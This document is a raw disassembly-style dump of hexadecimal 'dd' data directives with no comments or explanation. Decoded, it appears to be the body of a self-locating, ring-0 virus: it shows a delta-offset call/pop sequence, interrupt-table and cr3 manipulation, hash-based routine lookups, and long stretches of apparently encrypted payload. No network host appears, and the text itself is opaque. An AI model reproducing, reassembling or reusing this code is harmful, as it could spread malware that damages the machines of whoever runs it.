5EBB3E3h dd 1D3995FFh, 0B5FF05E9h, 5EBB3E3h, 0BB195FFh, 0A2E905E9h dd 83000000h, 0E92281BDh, 840F0005h, 95h, 1BDBD83h, 0F0005E9h dd 1185h, 19958B00h, 8105E91Dh, 1CF8C2h, 0FE900h, 958D0000h dd 5E925D1h, 8134528Bh, 0D4C340C2h, 0D995893Bh, 8305E92Fh dd 0E92FD9BDh, 840F0005h, 55h, 2FD99D8Bh, 0C38305E9h, 89038B4Ch dd 0EC3BEC85h, 0D99D8B05h, 8305E92Fh, 38B50C3h, 3BF08589h dd 9D8B05ECh, 5E92FD9h, 8B54C383h, 0FC858903h, 8B05EC3Bh dd 0E92FD99Dh, 58C38305h, 8589038Bh, 5EC3C00h, 2FD99D8Bh dd 0C38305E9h, 89038B5Ch, 0EC3BF485h, 49BD8305h, 5E910h dd 0D850Fh, 0BD830000h, 5E92281h, 68840F00h, 0FF000000h dd 0EC3C04B5h, 0F8B5FF05h, 0FF05EC3Bh, 0EC3BF4B5h, 0B5FF05h dd 0FF05EC3Ch, 0EC3BFCB5h, 0F0B5FF05h, 0FF05EC3Bh, 0EC3BECB5h dd 0E6858D05h, 5005EC3Bh, 3C1E858Dh, 8D5005ECh, 0E913D985h dd 95FF5005h, 5E903A5h, 6A24C483h, 8858D40h, 5005EC3Ch dd 13D9858Dh, 6A5005E9h, 0A595FF00h, 6A05E91Dh, 6195FF01h dd 8B05E917h, 6A60C1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 8E0C88C3h, 322D39E7h, 0C08BD68Bh dd 83D6B70Fh, 0E9164DBDh, 9750005h, 1121BD83h, 740005E9h dd 8B535019h, 40EB8C0h, 85890000h, 5E923B9h, 0B8C49D8Dh dd 0D3FF05EBh, 0BD83585Bh, 5E91121h, 50177400h, 40EB853h dd 85890000h, 5E923B9h, 0B5B39D8Dh, 0D3FF05EBh, 0B966585Bh dd 6A70FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 0B2CC18C3h, 6AC08B83h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0A9E6C353h dd 57F987A1h, 8BAD7AB2h, 0DDBD83CFh, 5E91Eh, 30840Fh, 0BE660000h dd 0BF0F7EB7h, 2A6E9CBh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 0B23853C3h, 19DCC8C5h dd 0DF8CAFB7h, 9E9h, 0E2744300h, 0DD86677h, 0F766EB4Fh dd 0F0004C7h, 26785h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 0DCD681E2h, 0BF5F8699h dd 0 dd 7E851h, 4D190000h, 6E939D1Fh, 1EA8111h, 5E10C18Ch, 0CF9D8D59h dd 6A05EC42h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 0E8B7C351h, 7, 5B7E73C8h, 0E8613A6Fh dd 8, 3F52A4A9h, 0BB0B8B7Ch, 870Fh, 5A590000h, 0F525093h dd 87h, 0E8310F00h, 6, 0C2FB99A6h, 52502A10h, 585A310Fh dd 50585A5Ah, 11E8h, 0EC37E700h, 3988E994h, 0CEA69C18h dd 80859DF1h, 6656D960h, 5A5ED38Bh, 56006A93h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 8F5ED315h dd 1BC7544Bh, 66D1BF0Fh, 447AF281h, 35FF64h, 0BE000000h dd 3A00F95Ah, 6E8BB966h, 258964h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0C72C352h, 69883918h, 8B8C00AAh, 52006AC4h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0C9AF7855h dd 0EB01CDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0E6C35141h, 0EB816660h, 0CE892AEh, 0F1000000h dd 0ACB600B4h, 28FF18A2h, 66016518h, 6FEEEE81h, 0AE9615Fh dd 0C2000000h, 0F5600CFAh, 0DE750940h, 56006A4Fh, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 7D4C7475h, 0BE9B186h, 0CE000000h, 8077AC21h, 998FFC62h dd 8F649B62h, 5, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 44395C32h, 0C4832287h dd 0C00BF904h, 72840Fh, 5E90000h, 0C3000000h, 0F255D9A1h dd 0C88B6661h, 72D4BD8Dh, 840F05E9h, 12h, 0AE8h, 1DE1E400h dd 47D2C6A4h, 6000DDCBh, 1B85961h, 8B000000h, 0E9E7FFF2h dd 0Ch, 267BDBBBh, 62973AFDh, 238C3B9h, 245C8B57h, 0B8838B10h dd 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h, 0B883h dd 335F0200h, 61BAC3C0h, 661684A1h, 0ABD1C981h, 0E7816061h dd 2A721B01h, 7B00C0BFh, 0C08B613Eh, 83D2BF0Fh, 0E9164DBDh dd 9750005h, 1121BD83h, 740005E9h, 8B535019h, 40EB8C0h dd 85890000h, 5E905ADh, 0B92B9D8Dh, 0D3FF05EBh, 0BD83585Bh dd 5E91121h, 50177400h, 40EB853h, 85890000h, 5E905ADh dd 0B5CC9D8Dh, 0D3FF05EBh, 6A585Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 4C559BC3h dd 4FCB896Ch, 66C08BD9h, 0F5FD981h, 0CE8C28Bh, 3F000000h dd 1782511Bh, 0A305696Dh, 664F0898h, 26A3DB81h, 0C781F95Fh dd 613Dh, 94E88166h, 1825B9AEh, 0E2800000h, 8037FFD8h dd 665EF2D2h, 0C681C38Bh, 2265D78Ch, 336EF681h, 0B70F1757h dd 54F681D7h, 524D7897h, 0BE9h, 91082A00h, 0E4C6DE9Ah dd 0B2B5B248h, 0CB815658h, 7B83D0B7h, 0D3B2078Fh, 9E7FEF81h dd 14B33B02h, 9E7BC781h, 0BA663B02h, 0E98399E1h, 1C850F01h dd 0F000000h, 29E9C6B7h, 0B9000000h, 0D4CB8056h, 70BB4E91h dd 12F810A0h, 88205A43h, 663624B6h, 0FB00D281h, 0FFFF84E9h dd 0B22BA8FFh, 0CF4993E6h, 818377A5h, 0F31718EBh, 9B46h dd 4 dup(0) dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 5EC4460h dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0FFh, 0 dd 0C3616000h, 0FFFFF8E9h, 98B58BFFh, 8105EC44h, 0FFF000E6h dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 9CB53B00h, 0F05EC44h dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h dd 0FC00A03h, 1984h, 0BB535000h, 2, 2FD9858Bh, 188605E9h dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh dd 2474FF50h, 8195FF08h, 5005E930h, 244C010Fh, 0C08358FEh dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch dd 840FC00Ah, 9, 2FD9858Bh, 0C605E9h, 4FF5800h, 4C224h dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h dd 2BB00h, 858B0000h, 5E92FD9h, 0DB0A1886h, 0FFF6850Fh dd 85C7FFFFh, 5E92F41h, 0 aLdLs db '‹D$',8,'‹˜',0 db 10h dd 98890000h, 1000h, 1889188Bh, 0AE9h, 4185C700h, 5E92Fh dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh, 840F003Eh dd 31h, 3AB7A1BBh, 0B101B076h, 13E901h, 8AAC0000h, 32C302C8h dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah, 0FFFFE585h, 0FD20BFFh dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h dd 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h, 8A37465Ah dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh, 0BB60C35Bh dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h dd 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h, 850FD20Bh dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 3D85C700h dd 105EC44h, 50000000h, 244C010Fh, 41858FFEh, 8D05EC44h dd 0EC443985h, 41BD8D05h, 8905EC44h, 23E938h, 858D0000h dd 5E925D1h, 538408Bh, 9B46F317h, 44398589h, 858D05ECh dd 5E925D1h, 893C408Bh, 0EC443D85h, 56858D05h, 8905EC44h dd 0E9308185h, 87E905h, 8B520000h, 728B60D4h, 0C7A8B08h dd 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h, 0FF73B46h dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h, 0C7A8B08h dd 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h, 0FF73B46h dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h, 728BDB33h dd 0C4A8B08h, 13E9h, 2D3CAC00h, 0A840Fh, 98040000h, 0D8321334h dd 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh, 8C25A5Eh dd 0C9858D00h, 8905EC46h, 0E90D5185h, 0F1858D05h, 8905EC46h dd 0E9116985h, 19858D05h, 8905EC47h, 0E9247185h, 8EB05h dd 0 dd 0E9000000h, 7Bh, 10F5260h, 5AFE244Ch, 8B24C283h, 0E901BD85h dd 41858D05h, 8B05EC96h, 888B08h, 8B000010h, 4A8B660Ah dd 7A8D89FCh, 8305EC47h, 0E90E09BDh, 840F0005h, 0Fh, 0FF006A60h dd 0E91E9595h, 0C4E96105h, 66FFFFFFh, 0C1FC7289h, 896610CEh dd 0CD520272h, 85895A04h, 5EC4776h, 477AB58Bh, 0CEC105ECh dd 72896610h, 7AB58B02h, 6605EC47h, 61FC7289h, 4776858Bh dd 8DC305ECh, 0E9091D95h, 0D9958905h, 8905E92Fh, 0E9305595h dd 5585FF05h, 0C605E930h, 0E90EE585h, 0D8685305h, 0FFFCB148h dd 0E92345B5h, 0CF858D05h, 0FF05E939h, 958589D0h, 8D05E91Eh dd 0EC447085h, 75858905h, 0E905E926h, 51h, 24748B60h, 3C760324h dd 28247C8Bh, 0C281D68Bh, 0F8h, 64E8B66h, 83C9B70Fh, 840F00F9h dd 16h, 0F0C7A3Bh, 158Fh, 28EA8300h, 8B0C428Bh, 0C12B144Ah dd 7C89F82Bh, 0C2611C24h, 0C2830008h, 850F4928h, 0FFFFFFCFh dd 0FFFFE9E9h, 0FD3EBAFFh, 20EB0009h, 8 dup(0) dd 5E5E9h, 5D9E900h, 0AA680000h, 0E905EC4Ah, 0FFFD3723h dd 0EC4B5968h, 3719E905h, 2668FFFDh, 0E905EC4Dh, 0FFFD370Fh dd 0EC4DBC68h, 3705E905h, 91D1FFFDh, 2B674D6Ah, 0BCF9DFFCh dd 4F8A708Dh, 0DB19FF1Ch, 538F93B0h, 0E1FE2967h, 7693BAFBh dd 9265190h, 99B6E923h, 793DEBCCh, 85132552h, 85C24E2Ch dd 0EE1D2856h, 0B313753Ah, 0BFA0516Ah, 8B830EB6h, 0E0E29C39h dd 1796C9DFh, 0E4ACFF76h, 0F0C0CF1Fh, 0EB3A47C1h, 86507EB1h dd 1F9A79D5h, 0B95689C3h, 4F98h, 903E5F00h, 96C986CEh dd 2B6B19D0h, 0B396C986h, 103EDB3Dh, 0C91AD5EEh, 1282DA16h dd 7F2D4E6Fh, 16C91A3Fh, 0F74F7EBBh, 1ACC9240h, 5CD216C9h dd 18A35DFAh, 171C3562h, 0C66F77E8h, 89261606h, 0E71431A7h dd 73A1D00Dh, 232E0CA9h, 6E000000h, 0C91AD4EEh, 1383DB16h dd 6207C270h, 0DB4B1C35h, 0C284329Ah, 0CC132552h, 0FCC6F456h dd 0D6385FA0h, 0A17B8BB9h, 3F093762h, 507FBCA2h, 23D1722h dd 26D7A1CFh, 5D166E87h, 0A45EFBC2h, 0E643805Dh, 23C65A1h dd 75D7A1CFh, 15488347h, 39AECEE7h, 71B42B7Fh, 0B3EB8AE9h dd 832154A3h, 6628D646h, 6869369Bh, 6290B7F8h, 0B7D43698h dd 11B4287Eh, 36AB5F63h, 8E31A769h, 8BFFBF6Dh, 89FF6936h dd 28C5EC2Dh, 3F72AC70h, 2191E922h, 8877D07Eh, 41B763CDh dd 68726F9Eh, 0FF5551D9h, 3012AA62h, 476CDF95h, 34DCCFA6h dd 2C3AD95Ch, 89h, 58176FF2h, 0BA1A9023h, 2B6B193Bh, 0B316C9EFh dd 0D679DB3Dh, 0A0E694B5h, 2E16C9EFh, 225083BEh, 9F59F658h dd 1C35A65Ch, 5B00EC1Bh, 693E8325h, 0D174EACCh, 6C97D6B0h dd 0F1D7743Eh, 1F4E8AB7h, 0A8C527F1h, 245588C2h, 698AC53Fh dd 5458140Ch, 18000003h, 0AE94B1D8h, 40264372h, 0D1B7D403h dd 60466396h, 0D6DAF722h, 3D68A60Ch, 0D2F93A20h, 6590CFB5h dd 0F5286248h, 7C2A0BD8h, 1325503Ah, 0CA8D6BC4h, 31Fh dd 5685C20Ah, 1AB29028h, 46FC16C9h, 0E816C91Ah, 16C91AA5h dd 0C91A6D55h, 1A81C116h, 152D16C9h, 2656C91Ah, 1A175705h dd 2197D6C9h, 687EC570h, 0AF4C8D20h, 0BAE1E76h, 3C7A3CEAh dd 0E84D6C9h, 0C8964471h, 0D6DC2FE9h, 0E48EBD60h, 0DCC04596h dd 40377725h, 41B7D322h, 154883DFh, 51A9C078h, 0CF903EE1h dd 84D9D941h, 0A4416CAAh, 1C1B4CC2h, 0EBAF756Ah, 2A537F3h dd 29690000h, 0C3FFE502h, 54917794h, 0E7220825h, 73B197B4h dd 0BB272B48h, 7996C1FFh, 0E2B5293h, 0A1BEE928h, 314E81BBh dd 91D58364h, 1D132551h, 88C2E6C4h, 1A206614h, 38AE16C9h dd 3991A8D6h, 0A97826C9h, 311C3562h, 7BB89EBBh, 0C492F4Ch dd 4098AFDDh, 0EB0C2DD0h, 2552793Dh, 0B30F8513h, 0F0AA4776h dd 19D92A49h, 0D1FE1B91h, 969607A2h, 38D58837h, 0C978447Eh dd 0A3136B16h, 132BD100h, 4FD2811Ah, 8A6485B2h, 26F01E4Dh dd 446CCF89h, 40B61C35h, 0AD546E9Dh, 335F55F5h, 6E486996h dd 5313C131h, 5B1325C3h, 915583E5h, 25C22457h, 0B5D2053Fh dd 0D31395CFh, 0B3A772Ah, 0CA6213DDh, 0A548AA9Fh, 13BC3A76h dd 0F598C8FAh, 256A0747h, 74118713h, 6A6E24BCh, 0C2D1325h dd 256A185Eh, 9330A613h, 0DD43025Ah, 56423058h, 5B35D83Ah dd 2653F01Fh, 0D9EDC178h, 0F0930919h, 0BE00AECFh, 4016C9DDh dd 0AE409F7Bh, 8BED240Fh, 9BCE08EEh, 8ADAC9F8h, 0E0E43229h dd 406F9C43h, 767C4BD1h, 0A389267Ah, 70083669h, 16C9A122h dd 33629F79h, 734BEC05h, 0C8B388DAh, 3890C966h, 0D07725C8h dd 1A1C3566h, 0ED2701A4h, 7DB79DBAh, 0AD051C4Ah, 51EC9A3Dh dd 9919D92Eh, 655DF523h, 9216C91Eh, 792784F1h, 7740CFD3h dd 13h, 64A17B3Dh, 0A03D0735h, 0C92DDCE6h, 152E16h, 7B6E0000h dd 53366A1h, 1EB00FECh, 95F74821h, 0F5043EF8h, 6F3616C9h dd 0E304A717h, 1A5214C2h, 0E65C16C9h, 0C91AF0B6h, 0EB88FE16h dd 62D110BEh, 63D91C35h, 56C61E35h, 79B892B3h, 0B956204Eh dd 0DDBBB2FFh, 8DBE3419h, 6F724F9Ch, 0D8BF7B73h, 9C000000h dd 3218355Ch, 0C4AAC7F6h, 553B5887h, 0E4CAE71Ah, 5A5E7BA6h dd 0C9F43288h, 5E85C6ACh, 0F11C5B41h, 81B4EED4h, 8B69764h dd 13255746h, 7B11EF48h, 48F662A1h, 16C91A06h, 13B01288h dd 6F1282DAh, 356262C1h, 0C4F2681Ch, 779EDFB9h, 1A498549h dd 23C022ECh, 7F2292EAh, 0A03D64A5h, 0B5C0C573h, 0E20319DDh dd 0CC7F7234h, 17C57C16h, 16CC7F57h, 0E27FE157h, 0DB9B4900h dd 0E316CC7Fh, 0A6083773h, 7F115503h, 279D16CCh, 59C994C5h dd 9E966F72h, 42E2h, 9FC60600h, 31609C82h, 0C2F12E14h dd 5184BFA5h, 0E5104E34h, 941EC4C8h, 280E2B56h, 0BDA3C0E7h dd 5036537Eh, 0F9C6E316h, 57246A18h, 51AA1325h, 0DCA73h dd 7B0A0000h, 9A3762A1h, 124C2693h, 0C21442DFh, 692D5B82h dd 0ACEFC2Fh, 0AE72A0CBh, 5418466Dh, 0F9BDEB16h, 9E6290BBh dd 3E023063h, 0E0A4D201h, 864775A4h, 81E78957h, 4C7h, 4EF8100h dd 87000000h, 895C243Ch, 0B9682434h, 89000036h, 0A468242Ch dd 89000000h, 0B951241Ch, 5EC48F1h, 54595D51h, 81241C8Bh dd 4C4h, 2C815500h, 4C262924h, 8438F10h, 29084381h, 8B104C26h dd 8953241Ch, 4C381E3h, 81000000h, 4C3h, 241C8700h, 2434FF5Ch dd 4C4815Dh, 0E9000000h, 0FFFD3163h, 7E3FC40Fh, 87006B8Fh dd 0AD9B1D6Eh, 0B8BBED7Eh, 5EC4E23h, 0C88BC503h, 66E900EBh dd 0E9000006h, 65Ah, 0EC4F9868h, 3135E905h, 0DE68FFFDh dd 0E905EC50h, 0FFFD312Bh, 0EC515868h, 3121E905h, 2568FFFDh dd 0E905EC52h, 0FFFD3117h, 0EC53AE68h, 310DE905h, 99D9FFFDh dd 336F5572h, 0C401E704h, 57927895h, 0E3210724h, 4B979BB8h dd 0E906316Fh, 7E9BC203h, 112E5998h, 0A1BEF12Bh, 145F3D4h dd 8D132554h, 0D4EE5634h, 5A16C91Ah, 16C91A14h, 0C63A754Fh dd 0C91A5618h, 80E25816h, 31EB8852h, 16C91A6Eh, 0C91AA69Ch dd 1A3B0816h, 260016C9h, 587FC0E9h, 0D0FE602Ah, 93AF6906h dd 9C96C91Ah, 8331D444h, 9C322882h, 9973168Ch, 2C122F5Ah dd 8994C2EDh, 0A94671AFh, 5A81870h, 5115C3E4h, 5D932008h dd 0CF904AE7h, 8499DB09h, 9456EAAh, 80E2ACDAh, 9EB8852h dd 9CC76293h, 0F8EF77h, 4B844h, 0C3EA2A00h, 5584C0A6h dd 0E6155238h, 75A8E3C9h, 9347258h, 0C0FAE8ECh, 543A5782h dd 0E9CFEC13h, 7C627FAAh, 25F20F42h, 55D09644h, 85DE1325h dd 5588C2A7h, 1AB28F27h, 38B116C9h, 0FA2D673Dh, 10437D57h dd 0D47B18E2h, 0DE81B4EEh, 6E9CC304h, 444F07A4h, 1A317523h dd 47BD16C9h, 578AC4AAh, 9BDA3929h, 81AEE8C2h, 88B61843h dd 2E5C83C4h, 7F650264h, 0ADDC1845h, 814F2E4Bh, 9F40CFD7h dd 41Fh, 4BBE3766h, 4A35AC0Dh, 88C27FADh, 1A206614h, 38AE16C9h dd 0C39DA8D6h, 5F295786h, 1A3B08C2h, 0D4716C9h, 0ADE8ACDAh dd 1B3E4C7Ah, 0DE0D4A5Ah, 0EA8BFE7Ch, 165380BAh, 1AB6F8A6h dd 0C23816C9h, 3A5BFE60h, 0C91ACA8Ch, 0AD5ED416h, 3C0BA4BCh dd 9A41DED4h, 783EECCDh, 8616C93Bh, 0DF1EE210h, 3B6A97B4h dd 6F9A462Bh, 0AA902D15h, 0D9044370h, 0DE324977h, 4690F717h dd 0EC4ECB2Eh, 7CAFE9CFh, 22498A4Eh, 5E774B05h, 4A8B16C9h dd 86DEF523h, 65447316h, 0A3CE0D46h, 544834F2h, 3DC8AB7h dd 401C3106h dd 0E50FE1Fh, 901320CEh, 0CEA4EA1Ah, 0B42A1320h, 8EBF3517h dd 698DE4A1h, 72BA766Eh, 0E4000003h, 7A607DA4h, 0CF20F3Eh dd 9D83A0CFh, 2C122F62h, 0A2A6C3EEh, 113C7A40h, 0A6CD0EF4h dd 3964A389h, 0C9FC361Ch, 50FEDFACh, 13254A0Eh, 0C2593790h dd 63275588h, 4C8F629h, 0C57F9CC3h, 16C91ABDh, 0C92AD1F1h dd 0CFF03116h, 6E386691h, 0B2D3DE0Ch, 0C90A4204h, 0E0074816h dd 1A90E8B2h, 0AFFC37Dh, 58B016C9h, 0A69745E8h, 0E81C3222h dd 0B15A4172h, 0B5AD698Eh, 2F8F9h, 32A6A00h, 95C400E6h dd 26559278h, 0B5E82309h, 4974B298h, 0BA282Ch, 947A97C2h dd 290F2C53h, 0BCA2BFEAh, 65324F82h, 4B90D684h, 0C51E1325h dd 688C2E7h, 0E9228ACBh, 36E487C2h, 16C91E70h, 78A6087Eh dd 58067AB4h, 16C91E16h, 92C02298h, 723243A2h, 0BBE80538h dd 0F9FBE8Ch, 6F21D1CAh, 0DD5C0DEBh, 1D44856Bh, 26C325EFh dd 0CF7A9947h, 26D9740h, 0EE5D0000h, 16C91AD4h, 0A7C4EF2Eh dd 0B45782C1h, 0D0D42C85h, 703A688Fh, 0FE354FBFh, 1D146F35h dd 0C05DBF1Ah, 0DA054408h, 185DBCACh, 5224D8Ch, 0CF427A26h dd 507640h, 6F3C0000h, 0F6B86617h, 0F816C91Ah, 0CF7D2082h dd 1C320996h, 7871A218h, 0C7698E88h, 22B13CFh, 5D9D0000h dd 0F7331936h, 88C5ABC8h, 1B563C59h, 0A7E5CBE8h, 875B5F7Ch dd 0A5C2ED2Bh, 3A577EBFh, 0CDEA1554h, 5D7AADE7h, 0BD01AF90h dd 41132548h, 5D6D0AE8h, 9CD3EC23h, 7C9D7EC1h, 4FE9AD5Bh dd 7FF516C9h, 0C94F0F4Fh, 0D8CA8F16h, 6E362962h, 0B8E582E4h dd 0C9BD4C0Ah, 0AEDC5216h, 668BC9A3h, 0FE9BFD28h, 91AED918h dd 1D508A64h, 2D609A80h, 0DB1AF4FFh, 86DA13B0h, 0CC0BF10Eh dd 649E84A1h, 0DDD04CE2h, 54B6F1E0h, 6E99D7B1h, 21D97640h dd 6B41C5Dh, 16C92140h, 5976D84Eh, 0DC8AAB8Ch, 16C9219Ah dd 5D0BAE24h, 16C92119h, 65922FA5h, 0C921F7B7h, 0DE81F716h dd 5FF1CCAFh, 58F550A7h, 906695A0h, 3CD7A944h, 54228C5h dd 0E1A7E795h, 0B12716C9h, 0A3F9324Fh, 3D012Fh, 5F0D2ED1h dd 16C9E11Fh, 0E58C299Fh, 0C9E1172Bh, 94A2416h, 4DEAB4E2h dd 0A94CBC14h, 31097EFBh, 0DF82F81Ch, 7AA5E4BEh, 0D393414Ch dd 0DB1320C6h, 80660365h, 0B0DF1B44h, 3956B882h, 1C991753h dd 64D6B3Bh, 35DED8E0h, 4DAF21E9h, 1C1948EBh, 0EFE46B33h dd 3641F996h, 0C3F1205Ch, 37765CF9h, 0A9A822BDh, 6ACCDB2Eh dd 1037783Ch, 0C2FDD7E2h, 47DEA04Eh, 6AE01320h, 7310DA08h dd 0F321508Dh, 5519C7E8h, 59132047h, 0B50D46E3h, 0FFEC4EF6h dd 0B1624938h, 5C334B84h, 39DC3E80h, 0D830428Bh, 0A5D64C19h dd 6F76D4B2h, 0A2E9A59Dh, 14000000h, 0AA90ADD4h, 3C223F6Eh dd 0CDB3D0FFh, 5C425F92h, 0D2D6F31Eh, 416CAA10h, 0D6FD3E24h dd 6994D3B9h, 0F92C664Ch, 802E0FDCh, 1325493Eh, 0C28967C0h dd 20661488h, 0AE16C91Ah, 0E4A8D638h, 0F427DAAh, 87B517E1h dd 673D3897h, 0FEDDFA2Dh, 40CFD752h, 33732142h, 70E936EEh dd 36EEFCC2h, 348C02E9h, 29578AC4h, 3F60FD5Fh, 1Fh, 0AC5A7B05h dd 16C91AEAh, 27E17EF4h, 16C91A1Ah, 58FB2E68h, 79163D7Eh dd 0EF4D2h, 0EE340000h, 16C91AD4h, 8CC7F42Eh, 0ACDAF759h dd 24A44E2h, 0B1000000h, 5B82C243h, 0FC2F692Dh, 0A0CB0ACEh dd 466DAE72h, 0EB165418h, 90BBF9BDh, 30639E62h, 0D2013E02h dd 75A4E0A4h, 89568647h, 4C681E6h, 57000000h, 4BFh, 5FFE2900h dd 5C243487h, 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h dd 0CD68242Ch, 89000022h, 5BD2414h, 0F716F55Eh, 0F1E581DDh dd 81345800h, 6D0F78F5h, 44CD8146h, 571D3050h, 76EF1CBFh dd 5FFD0186h, 4EC81h, 24890000h, 24048324h, 81555A04h dd 3AFB242Ch, 428F6D67h, 8428108h, 6D673AFBh, 5A2434FFh dd 8B04C483h, 8953242Ch, 4C381E3h, 83000000h, 1C8704C3h dd 0ECE95C24h, 0EFFFD2Ah, 1C55AB7Bh, 75B84D42h, 305EC54h dd 0E9D18BC5h, 0D9h, 0FBE1D20h, 2F82C12Ch, 0BEB6CFDFh dd 365D54FDh, 0BCECA436h, 0C55DD500h, 0D676D352h, 0FC94A4h dd 0C1AEC441h, 5277CB50h, 9CACAC32h, 0F691B800h, 82CD64F7h dd 3893h, 3C00h, 4000h, 9400h, 500h, 100h, 0A2800h, 200h dd 20h dup(0) dd 0A12F1400h, 1F10E931h, 0DB680000h, 0E905EC57h, 0FFFD29EFh dd 0EC58B668h, 29E5E905h, 7868FFFDh, 0E905EC59h, 0FFFD29DBh dd 0EC5A6A68h, 29D1E905h, 4568FFFDh, 0E905EC5Bh, 0FFFD29C7h dd 0EC5BF168h, 29BDE905h, 0A168FFFDh, 0E905EC5Ch, 0FFFD29B3h dd 0EC5D6668h, 29A9E905h, 2468FFFDh, 0E905EC61h, 0FFFD299Fh dd 0EC619968h, 2995E905h, 0A368FFFDh, 0E905EC62h, 0FFFD298Bh dd 0EC65D868h, 2981E905h, 2A68FFFDh, 0E905EC69h, 0FFFD2977h dd 0EC6C5268h, 296DE905h, 9768FFFDh, 0E905EC6Dh, 0FFFD2963h dd 0EC6E1768h, 2959E905h, 8768FFFDh, 0E905EC6Eh, 0FFFD294Fh dd 0EC6EE868h, 2945E905h, 0C568FFFDh, 0E905EC6Fh, 0FFFD293Bh dd 0EC715668h, 2931E905h, 4D68FFFDh, 0E905EC72h, 0FFFD2927h dd 6F8CB3F3h, 11E4D89h, 92AFDE1Bh, 213E71ACh, 0B5D2FD3Bh dd 4B8931B1h, 0DC1D0320h, 73B298B5h, 0B452B48h, 0DEEBBD8h dd 254C1F5Fh, 68469F13h, 620688C2h, 5D76BB71h, 0D094C224h dd 0D466396h, 0F4A245B5h, 1C32F87Bh, 0C75F8D03h, 1320D7FBh dd 911A5BFCh, 45261ECFh, 3BE1h, 176FA700h, 35E304A7h, 16C91A71h dd 0BF23B87Dh, 0DB1B3D9Ah, 1AFDC79h, 1C323CE0h, 0EA82B026h dd 13201ED8h, 0B4F77E1Fh, 4526D3ECh, 0B804h, 0FCAACB00h dd 1321E2BAh, 331CE44h, 3665A17Bh, 0BBA13E08h, 5C204E81h dd 1C5F31Eh, 0A26694C7h, 5E183568h, 16C915DBh, 0D1EE215Bh dd 507EB1EBh, 0CE71E139h, 31F3AB20h, 5875EB1Ch, 0E908C71Fh dd 674744F1h, 0B088E896h, 70F930FFh, 3FA10336h, 6081C29Ch dd 0CAF81Fh, 26D4019Eh, 19C6A520h, 3B15B82Eh, 88B5D2FDh dd 95F5B967h, 83F916CBh, 97C200E6h, 75139566h, 6C2BA6Fh dd 1C84h, 6380A7E7h, 0F512417Dh, 86A3D20Fh, 153265A0h dd 0A9C6F12Fh, 37753DA5h, 0C809EF0Ch, 5F9E84A1h, 0F7311734h dd 0F9DAA7C4h, 254D0B4Bh, 5C3A9313h, 3C5984C2h, 0CCE91C56h dd 0A7176F9Eh, 294D5604h, 43B91C32h, 0FCDB0A15h, 38224F27h dd 0C101BB58h, 36132069h, 5CBE095h, 0F4526A4h, 7D7E40EEh dd 0A801320h, 0B14C6Dh, 7B120000h, 93762A1h, 82BCA23Fh dd 3C16214Fh, 6C9BD8FDh, 7512DC0Ah, 0F826518Fh, 0C915DD60h dd 6401A16h, 3EDBA5D3h, 0CEEB1E58h, 4D7BAEE8h, 0CB6EDE36h dd 31F3AC1Dh, 5774EA1Ch, 7707C61Eh, 1A83C6B0h, 83A447A9h dd 12406BA9h, 5EF1AB48h, 0A419C69Bh, 906A8B2Eh, 2CF62453h dd 406BA98Fh, 0DAFF3D23h, 0DA0B6DA0h, 6F74F5AFh, 0A94C0800h dd 0C00001Bh, 0A288A5CCh, 341A3766h, 0C5ABC8F7h, 543A578Ah dd 0CACEEB16h, 3964A218h, 0CEF5361Ch, 618CCBB1h, 0F1245E44h dd 782607D4h, 13254236h, 0C2815FB8h, 62C30A84h, 0FA011A22h dd 5B957B98h, 0C2DD0B28h, 63275588h, 8FC2FC29h, 92359761h dd 0B35077B8h, 0E4BEDF0Ch, 74777AAh, 8716C91Ah, 71507411h dd 0E78AFA52h, 321CD439h, 75A41A1Ch, 0BA3227DFh, 4421CA6h dd 85E1ABD9h, 20EA184Bh, 41F24A83h, 0AE7AD393h, 0B57A82AFh dd 